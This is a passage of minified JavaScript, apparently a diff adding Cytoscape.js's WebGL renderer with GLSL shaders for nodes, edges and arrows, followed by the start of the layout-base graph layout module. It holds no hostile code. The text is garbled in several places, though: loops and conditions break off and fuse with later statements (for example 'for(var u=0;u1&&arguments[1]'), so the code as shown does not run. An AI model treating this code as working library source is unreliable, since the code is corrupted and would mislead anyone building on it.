between 0 and 1 + + gl_Position = vec4(uPanZoomMatrix * aTransform * vec3(position, 1.0), 1.0); + } + else if(aVertType == `).concat(Jm," || aVertType == ").concat(Q2,` + || aVertType == `).concat(Pk," || aVertType == ").concat(K2,`) { // simple shapes + + // the bounding box is needed by the fragment shader + vBotLeft = (aTransform * vec3(0, 0, 1)).xy; // flat + vTopRight = (aTransform * vec3(1, 1, 1)).xy; // flat + vPosition = (aTransform * vec3(position, 1)).xy; // will be interpolated + + // calculations are done in the fragment shader, just pass these along + vColor = aColor; + vCornerRadius = aCornerRadius; + vBorderColor = aBorderColor; + vBorderWidth = aLineWidth; + + gl_Position = vec4(uPanZoomMatrix * aTransform * vec3(position, 1.0), 1.0); + } + else if(aVertType == `).concat(tue,`) { + vec2 source = aPointAPointB.xy; + vec2 target = aPointAPointB.zw; + + // adjust the geometry so that the line is centered on the edge + position.y = position.y - 0.5; + + // stretch the unit square into a long skinny rectangle + vec2 xBasis = target - source; + vec2 yBasis = normalize(vec2(-xBasis.y, xBasis.x)); + vec2 point = source + xBasis * position.x + yBasis * aLineWidth[0] * position.y; + + gl_Position = vec4(uPanZoomMatrix * vec3(point, 1.0), 1.0); + vColor = aColor; + } + else if(aVertType == `).concat(rue,`) { + vec2 pointA = aPointAPointB.xy; + vec2 pointB = aPointAPointB.zw; + vec2 pointC = aPointCPointD.xy; + vec2 pointD = aPointCPointD.zw; + + // adjust the geometry so that the line is centered on the edge + position.y = position.y - 0.5; + + vec2 p0, p1, p2, pos; + if(position.x == 0.0) { // The left side of the unit square + p0 = pointA; + p1 = pointB; + p2 = pointC; + pos = position; + } else { // The right side of the unit square, use same approach but flip the geometry upside down + p0 = pointD; + p1 = pointC; + p2 = pointB; + pos = vec2(0.0, -position.y); + } + + vec2 p01 = p1 - p0; + vec2 p12 = p2 - p1; + vec2 p21 = p1 - p2; + + // Find the normal vector. + vec2 tangent = normalize(normalize(p12) + normalize(p01)); + vec2 normal = vec2(-tangent.y, tangent.x); + + // Find the vector perpendicular to p0 -> p1. + vec2 p01Norm = normalize(vec2(-p01.y, p01.x)); + + // Determine the bend direction. + float sigma = sign(dot(p01 + p21, normal)); + float width = aLineWidth[0]; + + if(sign(pos.y) == -sigma) { + // This is an intersecting vertex. Adjust the position so that there's no overlap. + vec2 point = 0.5 * width * normal * -sigma / dot(normal, p01Norm); + gl_Position = vec4(uPanZoomMatrix * vec3(p1 + point, 1.0), 1.0); + } else { + // This is a non-intersecting vertex. Treat it like a mitre join. + vec2 point = 0.5 * width * normal * sigma * dot(normal, p01Norm); + gl_Position = vec4(uPanZoomMatrix * vec3(p1 + point, 1.0), 1.0); + } + + vColor = aColor; + } + else if(aVertType == `).concat($M,` && vid < 3) { + // massage the first triangle into an edge arrow + if(vid == 0) + position = vec2(-0.15, -0.3); + if(vid == 1) + position = vec2( 0.0, 0.0); + if(vid == 2) + position = vec2( 0.15, -0.3); + + gl_Position = vec4(uPanZoomMatrix * aTransform * vec3(position, 1.0), 1.0); + vColor = aColor; + } + else { + gl_Position = vec4(2.0, 0.0, 0.0, 1.0); // discard vertex by putting it outside webgl clip space + } + + vAtlasId = aAtlasId; + vVertType = aVertType; + vIndex = aIndex; + } + `),a=this.batchManager.getIndexArray(),s=`#version 300 es + precision highp float; + + // declare texture unit for each texture atlas in the batch + `.concat(a.map(function(h){return"uniform sampler2D uTexture".concat(h,";")}).join(` + `),` + + uniform vec4 uBGColor; + uniform float uZoom; + + in vec2 vTexCoord; + in vec4 vColor; + in vec2 vPosition; // model coordinates + + flat in int vAtlasId; + flat in vec4 vIndex; + flat in int vVertType; + flat in vec2 vTopRight; + flat in vec2 vBotLeft; + flat in vec4 vCornerRadius; + flat in vec4 vBorderColor; + flat in vec2 vBorderWidth; + + out vec4 outColor; + + `).concat(Tqe,` + `).concat(wqe,` + `).concat(kqe,` + `).concat(Eqe,` + + vec4 blend(vec4 top, vec4 bot) { // blend colors with premultiplied alpha + return vec4( + top.rgb + (bot.rgb * (1.0 - top.a)), + top.a + (bot.a * (1.0 - top.a)) + ); + } + + vec4 distInterp(vec4 cA, vec4 cB, float d) { // interpolate color using Signed Distance + // scale to the zoom level so that borders don't look blurry when zoomed in + // note 1.5 is an aribitrary value chosen because it looks good + return mix(cA, cB, 1.0 - smoothstep(0.0, 1.5 / uZoom, abs(d))); + } + + void main(void) { + if(vVertType == `).concat(FM,`) { + // look up the texel from the texture unit + `).concat(a.map(function(h){return"if(vAtlasId == ".concat(h,") outColor = texture(uTexture").concat(h,", vTexCoord);")}).join(` + else `),` + } + else if(vVertType == `).concat($M,`) { + // mimics how canvas renderer uses context.globalCompositeOperation = 'destination-out'; + outColor = blend(vColor, uBGColor); + outColor.a = 1.0; // make opaque, masks out line under arrow + } + else if(vVertType == `).concat(Jm,` && vBorderWidth == vec2(0.0)) { // simple rectangle with no border + outColor = vColor; // unit square is already transformed to the rectangle, nothing else needs to be done + } + else if(vVertType == `).concat(Jm," || vVertType == ").concat(Q2,` + || vVertType == `).concat(Pk," || vVertType == ").concat(K2,`) { // use SDF + + float outerBorder = vBorderWidth[0]; + float innerBorder = vBorderWidth[1]; + float borderPadding = outerBorder * 2.0; + float w = vTopRight.x - vBotLeft.x - borderPadding; + float h = vTopRight.y - vBotLeft.y - borderPadding; + vec2 b = vec2(w/2.0, h/2.0); // half width, half height + vec2 p = vPosition - vec2(vTopRight.x - b[0] - outerBorder, vTopRight.y - b[1] - outerBorder); // translate to center + + float d; // signed distance + if(vVertType == `).concat(Jm,`) { + d = rectangleSD(p, b); + } else if(vVertType == `).concat(Q2,` && w == h) { + d = circleSD(p, b.x); // faster than ellipse + } else if(vVertType == `).concat(Q2,`) { + d = ellipseSD(p, b); + } else { + d = roundRectangleSD(p, b, vCornerRadius.wzyx); + } + + // use the distance to interpolate a color to smooth the edges of the shape, doesn't need multisampling + // we must smooth colors inwards, because we can't change pixels outside the shape's bounding box + if(d > 0.0) { + if(d > outerBorder) { + discard; + } else { + outColor = distInterp(vBorderColor, vec4(0), d - outerBorder); + } + } else { + if(d > innerBorder) { + vec4 outerColor = outerBorder == 0.0 ? vec4(0) : vBorderColor; + vec4 innerBorderColor = blend(vBorderColor, vColor); + outColor = distInterp(innerBorderColor, outerColor, d); + } + else { + vec4 outerColor; + if(innerBorder == 0.0 && outerBorder == 0.0) { + outerColor = vec4(0); + } else if(innerBorder == 0.0) { + outerColor = vBorderColor; + } else { + outerColor = blend(vBorderColor, vColor); + } + outColor = distInterp(vColor, outerColor, d - innerBorder); + } + } + } + else { + outColor = vColor; + } + + `).concat(r.picking?`if(outColor.a == 0.0) discard; + else outColor = vIndex;`:"",` + } + `),l=rqe(n,i,s);l.aPosition=n.getAttribLocation(l,"aPosition"),l.aIndex=n.getAttribLocation(l,"aIndex"),l.aVertType=n.getAttribLocation(l,"aVertType"),l.aTransform=n.getAttribLocation(l,"aTransform"),l.aAtlasId=n.getAttribLocation(l,"aAtlasId"),l.aTex=n.getAttribLocation(l,"aTex"),l.aPointAPointB=n.getAttribLocation(l,"aPointAPointB"),l.aPointCPointD=n.getAttribLocation(l,"aPointCPointD"),l.aLineWidth=n.getAttribLocation(l,"aLineWidth"),l.aColor=n.getAttribLocation(l,"aColor"),l.aCornerRadius=n.getAttribLocation(l,"aCornerRadius"),l.aBorderColor=n.getAttribLocation(l,"aBorderColor"),l.uPanZoomMatrix=n.getUniformLocation(l,"uPanZoomMatrix"),l.uAtlasSize=n.getUniformLocation(l,"uAtlasSize"),l.uBGColor=n.getUniformLocation(l,"uBGColor"),l.uZoom=n.getUniformLocation(l,"uZoom"),l.uTextures=[];for(var u=0;u1&&arguments[1]!==void 0?arguments[1]:nx.SCREEN;this.panZoomMatrix=r,this.renderTarget=n,this.batchDebugInfo=[],this.wrappedCount=0,this.simpleCount=0,this.startBatch()},"startFrame")},{key:"startBatch",value:o(function(){this.instanceCount=0,this.batchManager.startBatch()},"startBatch")},{key:"endFrame",value:o(function(){this.endBatch()},"endFrame")},{key:"_isVisible",value:o(function(r,n){return r.visible()?n&&n.isVisible?n.isVisible(r):!0:!1},"_isVisible")},{key:"drawTexture",value:o(function(r,n,i){var a=this.atlasManager,s=this.batchManager,l=a.getRenderTypeOpts(i);if(this._isVisible(r,l)&&!(r.isEdge()&&!this._isValidEdge(r))){if(this.renderTarget.picking&&l.getTexPickingMode){var u=l.getTexPickingMode(r);if(u===sE.IGNORE)return;if(u==sE.USE_BB){this.drawPickingRectangle(r,n,i);return}}var h=a.getAtlasInfo(r,i),f=qs(h),d;try{for(f.s();!(d=f.n()).done;){var p=d.value,m=p.atlas,g=p.tex1,y=p.tex2;s.canAddToCurrentBatch(m)||this.endBatch();for(var v=s.getAtlasIndexForBatch(m),x=0,b=[[g,!0],[y,!1]];x=this.maxInstances&&this.endBatch()}}}}catch(L){f.e(L)}finally{f.f()}}},"drawTexture")},{key:"setTransformMatrix",value:o(function(r,n,i,a){var s=arguments.length>4&&arguments[4]!==void 0?arguments[4]:!0,l=0;if(i.shapeProps&&i.shapeProps.padding&&(l=r.pstyle(i.shapeProps.padding).pfValue),a){var u=a.bb,h=a.tex1,f=a.tex2,d=h.w/(h.w+f.w);s||(d=1-d);var p=this._getAdjustedBB(u,l,s,d);this._applyTransformMatrix(n,p,i,r)}else{var m=i.getBoundingBox(r),g=this._getAdjustedBB(m,l,!0,1);this._applyTransformMatrix(n,g,i,r)}},"setTransformMatrix")},{key:"_applyTransformMatrix",value:o(function(r,n,i,a){var s,l;Jce(r);var u=i.getRotation?i.getRotation(a):0;if(u!==0){var h=i.getRotationPoint(a),f=h.x,d=h.y;Yk(r,r,[f,d]),eue(r,r,u);var p=i.getRotationOffset(a);s=p.x+(n.xOffset||0),l=p.y+(n.yOffset||0)}else s=n.x1,l=n.y1;Yk(r,r,[s,l]),aI(r,r,[n.w,n.h])},"_applyTransformMatrix")},{key:"_getAdjustedBB",value:o(function(r,n,i,a){var s=r.x1,l=r.y1,u=r.w,h=r.h,f=r.yOffset;n&&(s-=n,l-=n,u+=2*n,h+=2*n);var d=0,p=u*a;return i&&a<1?u=p:!i&&a<1&&(d=u-p,s+=d,u=p),{x1:s,y1:l,w:u,h,xOffset:d,yOffset:f}},"_getAdjustedBB")},{key:"drawPickingRectangle",value:o(function(r,n,i){var a=this.atlasManager.getRenderTypeOpts(i),s=this.instanceCount;this.vertTypeBuffer.getView(s)[0]=Jm;var l=this.indexBuffer.getView(s);Zm(n,l);var u=this.colorBuffer.getView(s);dp([0,0,0],1,u);var h=this.transformBuffer.getMatrixView(s);this.setTransformMatrix(r,h,a),this.simpleCount++,this.instanceCount++,this.instanceCount>=this.maxInstances&&this.endBatch()},"drawPickingRectangle")},{key:"drawNode",value:o(function(r,n,i){var a=this.simpleShapeOptions.get(i);if(this._isVisible(r,a)){var s=a.shapeProps,l=this._getVertTypeForShape(r,s.shape);if(l===void 0||a.isSimple&&!a.isSimple(r)){this.drawTexture(r,n,i);return}var u=this.instanceCount;if(this.vertTypeBuffer.getView(u)[0]=l,l===Pk||l===K2){var h=a.getBoundingBox(r),f=this._getCornerRadius(r,s.radius,h),d=this.cornerRadiusBuffer.getView(u);d[0]=f,d[1]=f,d[2]=f,d[3]=f,l===K2&&(d[0]=0,d[2]=0)}var p=this.indexBuffer.getView(u);Zm(n,p);var m=r.pstyle(s.color).value,g=r.pstyle(s.opacity).value,y=this.colorBuffer.getView(u);dp(m,g,y);var v=this.lineWidthBuffer.getView(u);if(v[0]=0,v[1]=0,s.border){var x=r.pstyle("border-width").value;if(x>0){var b=r.pstyle("border-color").value,T=r.pstyle("border-opacity").value,S=this.borderColorBuffer.getView(u);dp(b,T,S);var w=r.pstyle("border-position").value;if(w==="inside")v[0]=0,v[1]=-x;else if(w==="outside")v[0]=x,v[1]=0;else{var k=x/2;v[0]=k,v[1]=-k}}}var A=this.transformBuffer.getMatrixView(u);this.setTransformMatrix(r,A,a),this.simpleCount++,this.instanceCount++,this.instanceCount>=this.maxInstances&&this.endBatch()}},"drawNode")},{key:"_getVertTypeForShape",value:o(function(r,n){var i=r.pstyle(n).value;switch(i){case"rectangle":return Jm;case"ellipse":return Q2;case"roundrectangle":case"round-rectangle":return Pk;case"bottom-round-rectangle":return K2;default:return}},"_getVertTypeForShape")},{key:"_getCornerRadius",value:o(function(r,n,i){var a=i.w,s=i.h;if(r.pstyle(n).value==="auto")return kf(a,s);var l=r.pstyle(n).pfValue,u=a/2,h=s/2;return Math.min(l,h,u)},"_getCornerRadius")},{key:"drawEdgeArrow",value:o(function(r,n,i){if(r.visible()){var a=r._private.rscratch,s,l,u;if(i==="source"?(s=a.arrowStartX,l=a.arrowStartY,u=a.srcArrowAngle):(s=a.arrowEndX,l=a.arrowEndY,u=a.tgtArrowAngle),!(isNaN(s)||s==null||isNaN(l)||l==null||isNaN(u)||u==null)){var h=r.pstyle(i+"-arrow-shape").value;if(h!=="none"){var f=r.pstyle(i+"-arrow-color").value,d=r.pstyle("opacity").value,p=r.pstyle("line-opacity").value,m=d*p,g=r.pstyle("width").pfValue,y=r.pstyle("arrow-scale").value,v=this.r.getArrowWidth(g,y),x=this.instanceCount,b=this.transformBuffer.getMatrixView(x);Jce(b),Yk(b,b,[s,l]),aI(b,b,[v,v]),eue(b,b,u),this.vertTypeBuffer.getView(x)[0]=$M;var T=this.indexBuffer.getView(x);Zm(n,T);var S=this.colorBuffer.getView(x);dp(f,m,S),this.instanceCount++,this.instanceCount>=this.maxInstances&&this.endBatch()}}}},"drawEdgeArrow")},{key:"drawEdgeLine",value:o(function(r,n){if(r.visible()){var i=this._getEdgePoints(r);if(i){var a=r.pstyle("opacity").value,s=r.pstyle("line-opacity").value,l=r.pstyle("width").pfValue,u=r.pstyle("line-color").value,h=a*s;if(i.length/2+this.instanceCount>this.maxInstances&&this.endBatch(),i.length==4){var f=this.instanceCount;this.vertTypeBuffer.getView(f)[0]=tue;var d=this.indexBuffer.getView(f);Zm(n,d);var p=this.colorBuffer.getView(f);dp(u,h,p);var m=this.lineWidthBuffer.getView(f);m[0]=l;var g=this.pointAPointBBuffer.getView(f);g[0]=i[0],g[1]=i[1],g[2]=i[2],g[3]=i[3],this.instanceCount++,this.instanceCount>=this.maxInstances&&this.endBatch()}else for(var y=0;y=this.maxInstances&&this.endBatch()}}}},"drawEdgeLine")},{key:"_isValidEdge",value:o(function(r){var n=r._private.rscratch;return!(n.badLine||n.allpts==null||isNaN(n.allpts[0]))},"_isValidEdge")},{key:"_getEdgePoints",value:o(function(r){var n=r._private.rscratch;if(this._isValidEdge(r)){var i=n.allpts;if(i.length==4)return i;var a=this._getNumSegments(r);return this._getCurveSegmentPoints(i,a)}},"_getEdgePoints")},{key:"_getNumSegments",value:o(function(r){var n=15;return Math.min(Math.max(n,5),this.maxInstances)},"_getNumSegments")},{key:"_getCurveSegmentPoints",value:o(function(r,n){if(r.length==4)return r;for(var i=Array((n+1)*2),a=0;a<=n;a++)if(a==0)i[0]=r[0],i[1]=r[1];else if(a==n)i[a*2]=r[r.length-2],i[a*2+1]=r[r.length-1];else{var s=a/n;this._setCurvePoint(r,s,i,a*2)}return i},"_getCurveSegmentPoints")},{key:"_setCurvePoint",value:o(function(r,n,i,a){if(r.length<=2)i[a]=r[0],i[a+1]=r[1];else{for(var s=Array(r.length-2),l=0;l0}},"isLayerVisible"),l=o(function(d){var p=d.pstyle("text-events").strValue==="yes";return p?sE.USE_BB:sE.IGNORE},"getTexPickingMode"),u=o(function(d){var p=d.position(),m=p.x,g=p.y,y=d.outerWidth(),v=d.outerHeight();return{w:y,h:v,x1:m-y/2,y1:g-v/2}},"getBBForSimpleShape");r.drawing.addAtlasCollection("node",{texRows:t.webglTexRowsNodes}),r.drawing.addAtlasCollection("label",{texRows:t.webglTexRows}),r.drawing.addTextureAtlasRenderType("node-body",{collection:"node",getKey:e.getStyleKey,getBoundingBox:e.getElementBox,drawElement:e.drawElement}),r.drawing.addSimpleShapeRenderType("node-body",{getBoundingBox:u,isSimple:sqe,shapeProps:{shape:"shape",color:"background-color",opacity:"background-opacity",radius:"corner-radius",border:!0}}),r.drawing.addSimpleShapeRenderType("node-overlay",{getBoundingBox:u,isVisible:s("overlay"),shapeProps:{shape:"overlay-shape",color:"overlay-color",opacity:"overlay-opacity",padding:"overlay-padding",radius:"overlay-corner-radius"}}),r.drawing.addSimpleShapeRenderType("node-underlay",{getBoundingBox:u,isVisible:s("underlay"),shapeProps:{shape:"underlay-shape",color:"underlay-color",opacity:"underlay-opacity",padding:"underlay-padding",radius:"underlay-corner-radius"}}),r.drawing.addTextureAtlasRenderType("label",{collection:"label",getTexPickingMode:l,getKey:zM(e.getLabelKey,null),getBoundingBox:GM(e.getLabelBox,null),drawClipped:!0,drawElement:e.drawLabel,getRotation:i(null),getRotationPoint:e.getLabelRotationPoint,getRotationOffset:e.getLabelRotationOffset,isVisible:a("label")}),r.drawing.addTextureAtlasRenderType("edge-source-label",{collection:"label",getTexPickingMode:l,getKey:zM(e.getSourceLabelKey,"source"),getBoundingBox:GM(e.getSourceLabelBox,"source"),drawClipped:!0,drawElement:e.drawSourceLabel,getRotation:i("source"),getRotationPoint:e.getSourceLabelRotationPoint,getRotationOffset:e.getSourceLabelRotationOffset,isVisible:a("source-label")}),r.drawing.addTextureAtlasRenderType("edge-target-label",{collection:"label",getTexPickingMode:l,getKey:zM(e.getTargetLabelKey,"target"),getBoundingBox:GM(e.getTargetLabelBox,"target"),drawClipped:!0,drawElement:e.drawTargetLabel,getRotation:i("target"),getRotationPoint:e.getTargetLabelRotationPoint,getRotationOffset:e.getTargetLabelRotationOffset,isVisible:a("target-label")});var h=xx(function(){console.log("garbage collect flag set"),r.data.gc=!0},1e4);r.onUpdateEleCalcs(function(f,d){var p=!1;d&&d.length>0&&(p|=r.drawing.invalidate(d)),p&&h()}),Aqe(r)};o(Cqe,"getBGColor");o(zhe,"getLabelLines");zM=o(function(e,r){return function(n){var i=e(n),a=zhe(n,r);return a.length>1?a.map(function(s,l){return"".concat(i,"_").concat(l)}):i}},"getStyleKeysForLabel"),GM=o(function(e,r){return function(n,i){var a=e(n);if(typeof i=="string"){var s=i.indexOf("_");if(s>0){var l=Number(i.substring(s+1)),u=zhe(n,r),h=a.h/u.length,f=h*l,d=a.y1+f;return{x1:a.x1,w:a.w,y1:d,h,yOffset:f}}}return a}},"getBoundingBoxForLabel");o(Aqe,"overrideCanvasRendererFunctions");o(_qe,"clearWebgl");o(Dqe,"clearCanvas");o(Lqe,"createPanZoomMatrix");o(Ghe,"setContextTransform");o(Rqe,"drawSelectionRectangle");o(Nqe,"drawAxes");o(Mqe,"drawAtlases");o(Iqe,"getPickingIndexes");o(Oqe,"findNearestElementsWebgl");o(VM,"drawEle");o(Vhe,"renderWebgl");Rf={};Rf.drawPolygonPath=function(t,e,r,n,i,a){var s=n/2,l=i/2;t.beginPath&&t.beginPath(),t.moveTo(e+s*a[0],r+l*a[1]);for(var u=1;u0&&s>0){m.clearRect(0,0,a,s),m.globalCompositeOperation="source-over";var g=this.getCachedZSortedEles();if(t.full)m.translate(-n.x1*h,-n.y1*h),m.scale(h,h),this.drawElements(m,g),m.scale(1/h,1/h),m.translate(n.x1*h,n.y1*h);else{var y=e.pan(),v={x:y.x*h,y:y.y*h};h*=e.zoom(),m.translate(v.x,v.y),m.scale(h,h),this.drawElements(m,g),m.scale(1/h,1/h),m.translate(-v.x,-v.y)}t.bg&&(m.globalCompositeOperation="destination-over",m.fillStyle=t.bg,m.rect(0,0,a,s),m.fill())}return p};o(Pqe,"b64ToBlob");o(aue,"b64UriToB64");o(Hhe,"output");Sx.png=function(t){return Hhe(t,this.bufferCanvasImage(t),"image/png")};Sx.jpg=function(t){return Hhe(t,this.bufferCanvasImage(t),"image/jpeg")};qhe={};qhe.nodeShapeImpl=function(t,e,r,n,i,a,s,l){switch(t){case"ellipse":return this.drawEllipsePath(e,r,n,i,a);case"polygon":return this.drawPolygonPath(e,r,n,i,a,s);case"round-polygon":return this.drawRoundPolygonPath(e,r,n,i,a,s,l);case"roundrectangle":case"round-rectangle":return this.drawRoundRectanglePath(e,r,n,i,a,l);case"cutrectangle":case"cut-rectangle":return this.drawCutRectanglePath(e,r,n,i,a,s,l);case"bottomroundrectangle":case"bottom-round-rectangle":return this.drawBottomRoundRectanglePath(e,r,n,i,a,l);case"barrel":return this.drawBarrelPath(e,r,n,i,a)}};Bqe=Whe,Cr=Whe.prototype;Cr.CANVAS_LAYERS=3;Cr.SELECT_BOX=0;Cr.DRAG=1;Cr.NODE=2;Cr.WEBGL=3;Cr.CANVAS_TYPES=["2d","2d","2d","webgl2"];Cr.BUFFER_COUNT=3;Cr.TEXTURE_BUFFER=0;Cr.MOTIONBLUR_BUFFER_NODE=1;Cr.MOTIONBLUR_BUFFER_DRAG=2;o(Whe,"CanvasRenderer");Cr.redrawHint=function(t,e){var r=this;switch(t){case"eles":r.data.canvasNeedsRedraw[Cr.NODE]=e;break;case"drag":r.data.canvasNeedsRedraw[Cr.DRAG]=e;break;case"select":r.data.canvasNeedsRedraw[Cr.SELECT_BOX]=e;break;case"gc":r.data.gc=!0;break}};Fqe=typeof Path2D<"u";Cr.path2dEnabled=function(t){if(t===void 0)return this.pathsEnabled;this.pathsEnabled=!!t};Cr.usePaths=function(){return Fqe&&this.pathsEnabled};Cr.setImgSmoothing=function(t,e){t.imageSmoothingEnabled!=null?t.imageSmoothingEnabled=e:(t.webkitImageSmoothingEnabled=e,t.mozImageSmoothingEnabled=e,t.msImageSmoothingEnabled=e)};Cr.getImgSmoothing=function(t){return t.imageSmoothingEnabled!=null?t.imageSmoothingEnabled:t.webkitImageSmoothingEnabled||t.mozImageSmoothingEnabled||t.msImageSmoothingEnabled};Cr.makeOffscreenCanvas=function(t,e){var r;if((typeof OffscreenCanvas>"u"?"undefined":$i(OffscreenCanvas))!=="undefined")r=new OffscreenCanvas(t,e);else{var n=this.cy.window(),i=n.document;r=i.createElement("canvas"),r.width=t,r.height=e}return r};[Ihe,Fc,Hu,NI,Cp,Lf,us,$he,Rf,Sx,qhe].forEach(function(t){ir(Cr,t)});$qe=[{name:"null",impl:bhe},{name:"base",impl:Lhe},{name:"canvas",impl:Bqe}],zqe=[{type:"layout",extensions:hHe},{type:"renderer",extensions:$qe}],Yhe={},Xhe={};o(jhe,"setExtension");o(Khe,"getExtension");o(Gqe,"setModule");o(Vqe,"getModule");lI=o(function(){if(arguments.length===2)return Khe.apply(null,arguments);if(arguments.length===3)return jhe.apply(null,arguments);if(arguments.length===4)return Vqe.apply(null,arguments);if(arguments.length===5)return Gqe.apply(null,arguments);Kn("Invalid extension access syntax")},"extension");fx.prototype.extension=lI;zqe.forEach(function(t){t.extensions.forEach(function(e){jhe(t.type,e.name,e.impl)})});oE=o(function(){if(!(this instanceof oE))return new oE;this.length=0},"Stylesheet"),Ep=oE.prototype;Ep.instanceString=function(){return"stylesheet"};Ep.selector=function(t){var e=this.length++;return this[e]={selector:t,properties:[]},this};Ep.css=function(t,e){var r=this.length-1;if(Jt(t))this[r].properties.push({name:t,value:e});else if(Yr(t))for(var n=t,i=Object.keys(n),a=0;a{"use strict";o((function(e,r){typeof Cx=="object"&&typeof OI=="object"?OI.exports=r():typeof define=="function"&&define.amd?define([],r):typeof Cx=="object"?Cx.layoutBase=r():e.layoutBase=r()}),"webpackUniversalModuleDefinition")(Cx,function(){return(function(t){var e={};function r(n){if(e[n])return e[n].exports;var i=e[n]={i:n,l:!1,exports:{}};return t[n].call(i.exports,i,i.exports,r),i.l=!0,i.exports}return o(r,"__webpack_require__"),r.m=t,r.c=e,r.i=function(n){return n},r.d=function(n,i,a){r.o(n,i)||Object.defineProperty(n,i,{configurable:!1,enumerable:!0,get:a})},r.n=function(n){var i=n&&n.__esModule?o(function(){return n.default},"getDefault"):o(function(){return n},"getModuleExports");return r.d(i,"a",i),i},r.o=function(n,i){return Object.prototype.hasOwnProperty.call(n,i)},r.p="",r(r.s=26)})([(function(t,e,r){"use strict";function n(){}o(n,"LayoutConstants"),n.QUALITY=1,n.DEFAULT_CREATE_BENDS_AS_NEEDED=!1,n.DEFAULT_INCREMENTAL=!1,n.DEFAULT_ANIMATION_ON_LAYOUT=!0,n.DEFAULT_ANIMATION_DURING_LAYOUT=!1,n.DEFAULT_ANIMATION_PERIOD=50,n.DEFAULT_UNIFORM_LEAF_NODE_SIZES=!1,n.DEFAULT_GRAPH_MARGIN=15,n.NODE_DIMENSIONS_INCLUDE_LABELS=!1,n.SIMPLE_NODE_SIZE=40,n.SIMPLE_NODE_HALF_SIZE=n.SIMPLE_NODE_SIZE/2,n.EMPTY_COMPOUND_NODE_SIZE=40,n.MIN_EDGE_LENGTH=1,n.WORLD_BOUNDARY=1e6,n.INITIAL_WORLD_BOUNDARY=n.WORLD_BOUNDARY/1e3,n.WORLD_CENTER_X=1200,n.WORLD_CENTER_Y=900,t.exports=n}),(function(t,e,r){"use strict";var n=r(2),i=r(8),a=r(9);function s(u,h,f){n.call(this,f),this.isOverlapingSourceAndTarget=!1,this.vGraphObject=f,this.bendpoints=[],this.source=u,this.target=h}o(s,"LEdge"),s.prototype=Object.create(n.prototype);for(var l in n)s[l]=n[l];s.prototype.getSource=function(){return this.source},s.prototype.getTarget=function(){return this.target},s.prototype.isInterGraph=function(){return this.isInterGraph},s.prototype.getLength=function(){return this.length},s.prototype.isOverlapingSourceAndTarget=function(){return this.isOverlapingSourceAndTarget},s.prototype.getBendpoints=function(){return this.bendpoints},s.prototype.getLca=function(){return this.lca},s.prototype.getSourceInLca=function(){return this.sourceInLca},s.prototype.getTargetInLca=function(){return this.targetInLca},s.prototype.getOtherEnd=function(u){if(this.source===u)return this.target;if(this.target===u)return this.source;throw"Node is not incident with this edge"},s.prototype.getOtherEndInGraph=function(u,h){for(var f=this.getOtherEnd(u),d=h.getGraphManager().getRoot();;){if(f.getOwner()==h)return f;if(f.getOwner()==d)break;f=f.getOwner().getParent()}return null},s.prototype.updateLength=function(){var u=new Array(4);this.isOverlapingSourceAndTarget=i.getIntersection(this.target.getRect(),this.source.getRect(),u),this.isOverlapingSourceAndTarget||(this.lengthX=u[0]-u[2],this.lengthY=u[1]-u[3],Math.abs(this.lengthX)<1&&(this.lengthX=a.sign(this.lengthX)),Math.abs(this.lengthY)<1&&(this.lengthY=a.sign(this.lengthY)),this.length=Math.sqrt(this.lengthX*this.lengthX+this.lengthY*this.lengthY))},s.prototype.updateLengthSimple=function(){this.lengthX=this.target.getCenterX()-this.source.getCenterX(),this.lengthY=this.target.getCenterY()-this.source.getCenterY(),Math.abs(this.lengthX)<1&&(this.lengthX=a.sign(this.lengthX)),Math.abs(this.lengthY)<1&&(this.lengthY=a.sign(this.lengthY)),this.length=Math.sqrt(this.lengthX*this.lengthX+this.lengthY*this.lengthY)},t.exports=s}),(function(t,e,r){"use strict";function n(i){this.vGraphObject=i}o(n,"LGraphObject"),t.exports=n}),(function(t,e,r){"use strict";var n=r(2),i=r(10),a=r(13),s=r(0),l=r(16),u=r(4);function h(d,p,m,g){m==null&&g==null&&(g=p),n.call(this,g),d.graphManager!=null&&(d=d.graphManager),this.estimatedSize=i.MIN_VALUE,this.inclusionTreeDepth=i.MAX_VALUE,this.vGraphObject=g,this.edges=[],this.graphManager=d,m!=null&&p!=null?this.rect=new a(p.x,p.y,m.width,m.height):this.rect=new a}o(h,"LNode"),h.prototype=Object.create(n.prototype);for(var f in n)h[f]=n[f];h.prototype.getEdges=function(){return this.edges},h.prototype.getChild=function(){return this.child},h.prototype.getOwner=function(){return this.owner},h.prototype.getWidth=function(){return this.rect.width},h.prototype.setWidth=function(d){this.rect.width=d},h.prototype.getHeight=function(){return this.rect.height},h.prototype.setHeight=function(d){this.rect.height=d},h.prototype.getCenterX=function(){return this.rect.x+this.rect.width/2},h.prototype.getCenterY=function(){return this.rect.y+this.rect.height/2},h.prototype.getCenter=function(){return new u(this.rect.x+this.rect.width/2,this.rect.y+this.rect.height/2)},h.prototype.getLocation=function(){return new u(this.rect.x,this.rect.y)},h.prototype.getRect=function(){return this.rect},h.prototype.getDiagonal=function(){return Math.sqrt(this.rect.width*this.rect.width+this.rect.height*this.rect.height)},h.prototype.getHalfTheDiagonal=function(){return Math.sqrt(this.rect.height*this.rect.height+this.rect.width*this.rect.width)/2},h.prototype.setRect=function(d,p){this.rect.x=d.x,this.rect.y=d.y,this.rect.width=p.width,this.rect.height=p.height},h.prototype.setCenter=function(d,p){this.rect.x=d-this.rect.width/2,this.rect.y=p-this.rect.height/2},h.prototype.setLocation=function(d,p){this.rect.x=d,this.rect.y=p},h.prototype.moveBy=function(d,p){this.rect.x+=d,this.rect.y+=p},h.prototype.getEdgeListToNode=function(d){var p=[],m,g=this;return g.edges.forEach(function(y){if(y.target==d){if(y.source!=g)throw"Incorrect edge source!";p.push(y)}}),p},h.prototype.getEdgesBetween=function(d){var p=[],m,g=this;return g.edges.forEach(function(y){if(!(y.source==g||y.target==g))throw"Incorrect edge source and/or target";(y.target==d||y.source==d)&&p.push(y)}),p},h.prototype.getNeighborsList=function(){var d=new Set,p=this;return p.edges.forEach(function(m){if(m.source==p)d.add(m.target);else{if(m.target!=p)throw"Incorrect incidency!";d.add(m.source)}}),d},h.prototype.withChildren=function(){var d=new Set,p,m;if(d.add(this),this.child!=null)for(var g=this.child.getNodes(),y=0;yp&&(this.rect.x-=(this.labelWidth-p)/2,this.setWidth(this.labelWidth)),this.labelHeight>m&&(this.labelPos=="center"?this.rect.y-=(this.labelHeight-m)/2:this.labelPos=="top"&&(this.rect.y-=this.labelHeight-m),this.setHeight(this.labelHeight))}}},h.prototype.getInclusionTreeDepth=function(){if(this.inclusionTreeDepth==i.MAX_VALUE)throw"assert failed";return 